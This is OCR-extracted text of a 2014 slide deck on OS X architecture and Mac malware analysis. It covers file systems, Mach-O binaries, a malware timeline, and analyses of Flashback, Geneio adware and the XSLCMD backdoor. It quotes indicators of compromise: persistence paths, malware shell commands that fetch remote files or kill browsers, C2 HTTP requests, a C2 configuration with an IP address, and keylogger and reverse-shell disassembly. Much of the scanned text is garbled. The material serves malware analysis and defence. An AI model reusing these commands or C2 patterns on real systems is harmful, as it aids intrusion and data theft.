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OSX Architecture — High level

Application Environments (AP
[BSD, Carbon, Cocoa, Classic

Carbon Application Services
[Quartz, OpenGL, PrintCore]

Quick
time JRE

Core Services JDK
[Address Book, Core Data, Core Foundation, Foundation, Packages
Quick Look, Social, Security, Webkit]

Kernel [Mach, BSD, I/O Kits, Drivers]

Hardware, Firmware, Bootloader
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OSX Architecture — Low Level

Other Darwin Libraries

libSystem.B.dylib

libc.dylib ] libm.dylib l

Kernel/User Transition

Mach Traps BSD System calls
(sysent)
(mach trap table) |Scheduling| IPC | VM |Security VFS
BSD

/dev

loKit Scheduling | IPC | VM loKit

libkern libkern

Mach Abstractions
‘machine specific hacksH ml_* APls H Platform Expert |

‘ Hardware ‘ &
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User Interface Level
 Launchd is responsible for starting the GUI
» Metadata framework
* indexing server (/System/ Library/ Frameworks/
CoreServices.framework/Frameworks/
Metadata.framework/ Support/mds)
» mdworker is used to extract the metadata*

Darwin (UNIX Core)

+ /bin/sh shell scripts supported
* Resident files needs root privileges for modifications.
Malware authors tend to use sudo before modifying

property files.
MIRcen.
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Hierarchical File System Plus
 January 19,1998 by Apple

» HFS -16 bit integer addressing
» HFS+ - 32 bit integer addressing
» HFS+ with Journaling

— Optional - Mac 0S X 10.2.2
— Default - Mac 0S X 10.3
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B-Trees

Allows for data to be stored in the leaves only
While a B-Tree can store data in the nodes.

Key-1 Key-2 Key-3 Key-4
[0 3 [e[10]e[ 16T Te]

Pointer-0 Pointer-2 Pointer-4
Pointer-1 Pointer-3

Pointer-0

l-ll' B2 o] T8 [o s""i‘-"|'7|-| o[ [s[io[o[1sTe[z2[s] o]
(o] [1] [2] ] | [l
@E [10]14] [22]27]
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UNIX System Directories

/usr — Third party software can install here
* /Jusr/bin — utilities and tools
* Jusr/lib is equivalent to C:\windows\system32

* /tmp directory is available for all writes, reads and executions to all users. Many malware
authors place their binaries in this directory. (symbolically linked /tmp -> /private/tmp)
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OSX Directories

 /Applications — default location for all application installations
° /lerary - support files for system applications.

* /Network - virtual directory for neighbor node discovery and access.

» /System - system files
» Frameworks (/System/ Library/Frameworks)
« Kernel modules (/System/ Library/Extensions)

» /Users - user home directories
* /Volumes - used for mounting network shares or external devices
» /Core - Core dumps for process crashes
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Runnable Apps, Scripts, & Services

Typical runnable scripts, containers and binary types:
» AppleScripts (Used for Apple inter-application communication)
Perl/Python/Bash Scripts
Bourne-again Shell Scripts (Used in BSD based systems)
Extensions (Safari, Chrome, FireFox)
App Bundles (Self Contained Applications)

» Applications (.app)

» Frameworks (.framework)

* Plugins (.bundle)
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Runnable Apps, Scripts, & Services

Typical runnable scripts, containers and binary types:

* DMG (App within a HFS container or “disk image”)

* PKG (App within a XAR container and package installer)
* Mach-O ( Binary equivalent to a Windows EXE)

* FAT Binaries (Universal Mach-O Binaries that support various
architectures)
+ 1386 Mach-Os
* Xx86_64 Mach-Os
* PPC Mach-Os (Discontinued architecture after OSX 10.6)
* Dylibs (Dynamic Libraries)
» Kext (Drivers)
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App Architecture

* App Bundles (.app, .framework, .bundle)
* DMG (App within a HFS container or “disk image”)
* PKG (App within a XAR container and package installer)

All applications have the same directory architecture but exists in a different
wrapper. Below is a typical application structure.

[} Skype 0 ]
Sopho: REn
Stickiel Show Package Contents

B <ruffirl . .-
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[} Info.plist

[L) Info.plist » No Selection
Type
¥ Information Property List Dictionary

Application fonts resource path String
BuildMachineOSBuild String
Localization native developmentr...  String

» Document types Amay
Executable file String
Icon file String
Bundle identifier String
InfoDictionary version string
Bundle OS Type code string
Bundle versions string, short string
Bundle creator OS Type code string

b URL types Array
Bundle version String
DTCompiler String
DTPlatformBuild String
DTPlatformVersion String
DTSDKBuild String
DTSDKName String
DTXcode String
DTXcodeBuild String
Minimum system version string
Seriptable Boolean
Copyright (human-readable) string
Main nib file base name String
Principal class String

b Services Array
NSSupportsAutomaticGraphicsSw.. Boolean
Scripting definition file name String

P Tools owned after installation Dictionary
SecTaskAccess String

» Exported Type UTIs Amay

Value

(31 items)
Fonts

12737

United Kingdom
(1 item)

Skype
SkypeBlue'
com.skype.skyl
6.0

APPL

6.15

SKYP

(1 item)
6.15.0.334
com.apple.compilers.livm.clang.1_0
5A2053

aM

13A595

macosx10.9

0501

5A2053

10.6.0

;)iﬂl‘l Skype and/or Microsoft Maln Fu nCtIOn

MainMenu : .
NsApplication —_\ Pointer

(4 items)
YES

dynamic
(1 item)
allowed

Mach-o
Reference

(1 item)

.NIB or Binary Plists (Compiled Plists)

OSX Kitmos

MainMenu.nib

[~ ==

; Attributes: bp-based frame

byte ptr -BCh

ebp

ebp, esp

esi

ebx

esp, 28h

eax, ds:off_78u4B

esi, [ebp+var_tC]
[esp+4], eax

eax, ds:off_71A4

[esp], eax

_objc_msgSend

edx, ds:off_7618

dword ptr [esp+BCh], 609LhK
dword ptr [esp+8], A0A4L
[esp+4], edx

[esp], eax

_objc_msgSend

[esp+8], eax

0% (211.-13) (280.425) 00001532 0000000000002938: FileR

__FileBackupAppDelegate_ checkAutorun_ proc near
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* Mach-O ( Binary equivalent to a Windows EXE)
» FAT Binaries (Universal Mach-O Binaries that support various
architectures)
* 1386 Mach-Os
* 64 bit Mach-Os
* PPC Mach-Os (Discontinued architecture after OSX 10.6)
OSX native binary format: exreeprace
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Header
- Segment Examples

LC_SEGMENT segment_command
LC_LOAD_DYLIB dylib_command

Load Commands LC_THREAD
LC_UNIXTHREAD

LC_CODE_SIGNATUR
E

thread_command

load_code_signature

Executable Machine Code
Constants
__cstring

Raw Segment Data

Initialized Variables
Symbol Pointers
Placeholders for dynamic content



OSX App Development

The development language used was Objective-C which is heavily object-oriented.

Objective-C used in OSX.Crisis (2012)

Rootkit used by governments during targeted attacks. It collects audio, pictures,
screenshots, keystrokes and report everything to a remote server. It's known to be
delivered through grey market exploits.

__cstring:0004B8AE 00000012 C NSApplicationName - Mach-o main function
__cstring:0004E164 00000010 C NSURLConnection - Making a typical network

connection

__cstring:0004D1D6 00000011 C NSBitmapImageRep - Grabbing a screenshot
__cstring:0004B010 00000009 C NSScreen - Changing the desktop background
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e

2014

OSX App Development

Cocoa is implemented with Objective-C and provides libraries and frameworks
to interact with OSX such as User Interfaces. Its considered the preferred application
environment for OSX.

Cocoa Frameworks used in OSX.Callme (2013)

Capture ABAddressBook:sharedAddressBook particularly WriteToFile:atomically
method (used to copy address book contacts). After capturing this APl filter file
open/close on AddressBook

_ text:000077BB mov eax, ds:paSharedaddressb
__text:000077Co mov [esp+4], eax

_ text:000077C4 mov eax, ds:paAbaddressbook
__text:000077C9 mov [esp], eax

__ text:000077CC call _objc_msgSend
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OSX Malware

OSX Malware




OSX Malware Evolution Timeline

Jan-08

MacSweep/Immuni [

zator

Jun-07
RSPIlug/Jahlav

Oct-10
Boonana

May-11
MacDefender

Apr-10
HellRTS

Mar-11
Blackhole
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OSX Malware Evolution Timeline

May-11
MacDefender

Sep-11
Imuler

Sep-12
Wirenet

Apr-12
| Sabpab

Mar-12
Lamadai

FlashBack

Mar-11
Blackhole

Note: Not all

HackBack
Oct-11 May-12

DevilRobber r
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I >
Feb-14
il CoinTheif
Sep-12 i e Appetite
Wirenet R s Careto/Mask |

Feb-13 . Jan-14 S
2 LaoShu | S

OSX Malware Evolution Timeline

CallMe Aug-14

XSLCmd

Sept—13
Tibet
Icefog

Note: Not all M I RC‘:/H\:n.
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OSX Malware Timeline

a0
35
30
FakeMacdef
25 Flashback
0 Flosax
B0 Getshell
HackBack
20 Imuler
B Jahlay
NetWiredRC
15 M Olyx
RSPlug
10
[ |
5 Helil |
L[ L]
III IIII II | | II | | RESN IIII
2008 2010 2012
_time
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OSX Malware Recent Trends

13 0SX/DnsCha-E
OSX/FkCodec-A

B0 OSX/Fishplyr-A

0 OsX/Fishplyr-B

10 OSX/FIshplyr-C
O5X/Geonei-A
9 0sX/lahlav-C

OSX/RSPlug-A

5 | B O5X/RSPlug-Gen
- 05X/VSearch-A
1 1 |
I I | I
13 Octob December February April ] August
2013 2014
MIRcen
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OSX Malware Recent Trends

= Social Engineering
= Phishing (Email Attachments)
= Decoys (Show image while run in the background)
- .App disguised as a JPEG
= Automatic acceptance of unsigned Apps
= Primary focus is on Data Theft
- Key logging
- Screen Shots
- User information (Adware also does this)
= Backdoors and Rootkits are rare but mainly used in
targeted attacks
MIRCan.
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Summary of OSX Malware 10Cs

File system Persistence Examples

Library/LaunchAgents

- Sabpab ~/Library/LaunchAgents/com.apple.PubSabAgent.plist (auto start plist file)

- Crisis Library/LaunchAgents/com.apple.mdworker.plist

- Geneio(Adware) ~/Library/LaunchAgents/com.geneio.completer.download.plist

- Olyx /Library/LaunchAgents/www.google.com.tstart.plist

- CallMe ~/Library/launchagents/systm and ~/Library/launchagents/apple.plist

- Imuler/Revir ~/library/LaunchAgents/checkvir.plist

- Iéamadai F/Ifibrary/LaunchAgents /com.apple.DockActions.plist and ~/Library/LaunchAgents /com.apple.Audio
ervice.plist

Library/Preferences
- Sabpab ~/Library/Preferences/com.apple.PubSabAgent.pfile (malware copy)

Shared Folders

- SniperSpy Shared/.syslogagent/syslogset.plist
- Leverage /Users/Shared/UserEvent.app

Library/LaunchDaemons

- Geneio(adware) /Library/LaunchDaemons/com.genieoinnovation.macextension.client.plist

Browser Extensions and Plugins

- Yontoo ~/Library/Safari/Extensions/Extensions.plist
- Okaz /Library/Internet Plug-Ins/zako.plugin

- RSPLug /Library/Internet Plugins/Mozillplugin.plugin
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Summary of OSX Malware 10Cs

Dynamic Behavior Characteristics

Lazy Authors Using Bash Commands

Zako

- curl -s
http://search.nation.com/statistics/?affid=203&amp;cztbid=161582317917443&amp;inst=0&amp;sethp=0&amp;
defsearch=0

- killall -9 Google Chrome

- killall -z firefox

- killall safari

- chown root:staff /Users/root/Library/Safari/Extensions

- /usr/bin/sudo -u root /usr/libexec/PlistBuddy -c Print install
/private/tmp/com.zako.nation.pkg.config

RSPlug

- cat /Volumes/27/install.pkg/Contents/Resources/preinstall

- /Macintosh/usr/bin/sed /\n/!G;s/\(.\)\(.*\n\)/&amp;\2\1/;//D;s/.//

- /usr/sbin/scutil

- sed -e s/.*PrimaryService : //

- grep QuickTime.xpt

- sh 1 85.255.113.108 85.255.112.70

- crontab cron.inst
/usr/bin/perl /Library/Internet Plug-Ins//sendreq

Keylogger.LogKext
- /Macintosh/usr/bin/find "/System/Library/Extensions/logkext.kext" -exec /bin/chmod -R g-w {} ;

Leverage
- bash -c ditto '/Applications/DSC@@117.app' '/Users/Shared/UserEvent.app’

Keychaindump =
- sh-cvmmap 17 MIRC( \’n-
,, -

2014



Summary of OSX Malware 10Cs

Dynamic Behavior Characteristics
= Using Launchd

- Revir launchd -o /tmp/updtdata http://tarmu.narod.ru/cdmax

= System Calls

- BSD calls
= Sysctl
= task for_pid
= vm_stat
= trace
= sync
= shutdown
= hostinfo
= File open/close

MIRcan.
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OSX.Flashback

OSX FLASHBACK
macosxsoftwareupdate.org
CNC
GET
DELIVERY :muoonooouss_suxz.z.o
ann - Information HTTE/1.1

Gathering Host: macosxsoftwareupdate.org
User-Agent: postinstall (unknown
version) CFNetwork/596.2.3 Dar-
win/12.2.0 (x86_64) (MacBook-
Pro942c1)

Connection: close

|
| s
] EVASION  Kill
0 9 A~ Little Snitch
. oxs R -4 VirusBarrier X6.app
AntiVirus.app
INSTALL ; vty

ClamXav.app
HTTPScoop.app
Packet Peeper.app

Ipostinstal

ENTRENCHMENT PAYLOAD

IMacintosh/var
Idb/receipts/
com.adobe.update.fp.
flashPlayer.FlashPlayer.pkg.plist



OSX.Geneio (Adware)

OSX GENEIO

INFILTRATION

—-—. _‘4 CNC‘ "

GET /track?uid=MAC OS_X-

2 jpartner=
genTugMéamp;install start=true&amp kernelé4bit=t
rue HTTP/1.1

Host: analytics.genieo.com

User-Agent: Installer/1 CFNet

work/596.2.3 Darwin/12.2.0 (x86_64) (MacBook-
Pro9%2C1)

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: keep-alive

Information
Gathering

INSTALL

Set Homepage
brary/Safari/Extens
brary/Safari/Extens|

IApplications/ a
/Application Support/

ENTRENCHMENT © LOADS PAYLOAD
~ILibrary/L hAg geneio. plist lusr/lib/libimckit.dylib
\ ~ILibrary/L hAg geneio. update.plist lusr/lib/libimckitsa.dylib
ousTfl ~ILibrary/P geneio.settings.plist

v T

OSX APT Malware XSLCMD

OSX APT BACKDOOR XSLCMD

lea rdi, byte_100014768 ; char »
all _strepy

1) Littie endian

call F:ilfe:l‘;:calm'cnlnfo P Big endian
puIsY
com.apple.service.clij
$HOME/Library/LaunchAgt
KEYLOGGER @ ENTRENCHMENT
(N ILibrary/Logs/
getuid()with 0
Ivarl/db/
.AccessibilityAPIEnabled
PAYLOAD
FORK

- SLEEP



OSX APT Malware XSLCMD

sub_10600B373 proc near

var_18= quord ptr -18h
var_8= quord ptr -8

push rbp

nov rbp, ¥sp

moy [rbp+var_18], rbx
noy [rbp+uar_8], ri2
sub rsp, 168h

mou r12, rdi

nou ebx, esi

call Keystrokelogger
test bl, bl

jz short loc_10080B3A3
Il
¥ ¥
"I "=
mou rdi, r12 ; from
mov rbx, [rsp+iBh+uvar_ 18] loc_168888B3A3: ; From
moy ¥12, [rsp+1Bh+uar_8] mouy rdi, r12
leave mov rbx, [rsp+iBh+var_ 18]
jmp User_process moy ¥12, [rsp+1Bh+var_8]
leave
jmp ReverseShell
sub_1608086B373 endp

MIR9 on.
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OSX APT Malware XSLCMD

OSX APT BACKDOOR XSLCMD .
www.appleupdate[.]biz
i CNC
.k o ¥ \
Yahoo's ; INSTALLED INSTALL H
Babelfish service - s
(Default) Google 1 HTTP/1.1 200 OK
Translate service = Cache-Control: no-cache
Wb T PROXY Content-Type: applica-
IMWebTrens] $HOME!.fontset/pxupdate.ini tion/x-www-form-urlencoded
fEWebTrans] $HOME/ fontset/chkdiska.dat :
issetto1, $HOME/ fontsetichkdiske.dat Server: Apache/2.0.54 (Unix)
Content-Encoding: gzip
© KEYLOGGER Content-Length: %d

N

= l " PSEUDO-HTTP

$SHOME/Library/Logs/BackupData/
<year><month><day>_<hr>_<min>_<sec>_keys.log

Information
. Gathering




OSX APT Malware XSLCMD

Configuration

[ListenMode]

0

[MServer]
61.128.110.38:8000
[BServer]
61.128.110.38
[Day]
1,2,3,4,5,6,7
[Start Time]
00:00:00

[End Time]
23:59:00
[Interval]

60

[MWeb]
http://1234/config.htm

[BWeb]

http://1234/config.htm

[MWebTrans]
0
[BWebTrans]
0
[FakeDomain]
www.appleupdate.biz
[Proxy]

0

[Connect]

1

[Update]

0
[UpdateWeb]
not use

OSX APT Malware XSLCMD
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PSEUDO-HT

lE pnx, aPost ; "POST

1 rsi, aSSHEtpD_D ; “%s %s HTTP/%d.%d\rin"
nov rdi, r15 i char =
xor eax, eax

call  _sprintf

nov edx, eax

cdqe

add rax, r15

nou rex, ° ctpecch’

nou [rax], rex

noy duord ptr [rax+8], 8D2A2F2Ah
nou word ptr [rax+8Ch], Bah

lea r12d, [rdx+8Dh]

lea Fbx, [F14+12h]

nousxd  rdi, r12d

add rdi, r15 ; char =
lea rex, aWindowsCartoon ; “windows/cartoon”
nou rdx, rbx

lea rsi, aRefererHttpSs ; “Referer: http://%s/%s\rin™
xor eax, eax

call  _sprintf

lea edx, [r12+rax]

nousxd  rax, edx

add rax, r15

nou r13, "L-tpecca’

nou [rax], r13

noy r12, ‘:egaugna‘

nou [rax+8], r12

nou r11, PABDSEGIZDESTAZON

nou [raxs10n], r11

nou byte ptr [rax+18n], @

lea eax, [rdx+18h]

cdqe

add rax, r1s

nou r18, "E-tpecch’

nou [rax], ¥10

nou r9, ':gnidocn’

nou [rax+8], ro
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Useful Tools and Malware Repos

Tools

= “File” command used for determining Architecture
= Xcode

= dtrace

= otool

= |daPro - https://www.hex-rays.com/products/ida/
= dmg2img (Linux) - http://vultur.eu.org/tools/

Repos
= contagiodump.com
= virustotal.com (mach-o)

MIR(;. on.

2014

Morcut Jar
= Flashback is here to Stay
{
= More advanced attacks st v
translated from Windows ) caten Circantion Fus) ¢
based Code } caEEE:{EN;EéEiEE:terExcethon PUSH) {
} catch (InterruptedException PUSH) {
= More Windows and OSX ) iy £
payloads -

try {
H if (isMac()) {
= Watering Holes e
string_0_ += "mac";
. . . breakglabel_I;
= Social Engineering RISREEH IO MR PUSH) €
. } catch (NullPointerException PUSH) {
Continues break label 3;
} catch (InterruptedException PUSH) {
break label_4;
} finally {
break label 5;

‘MIRcan.
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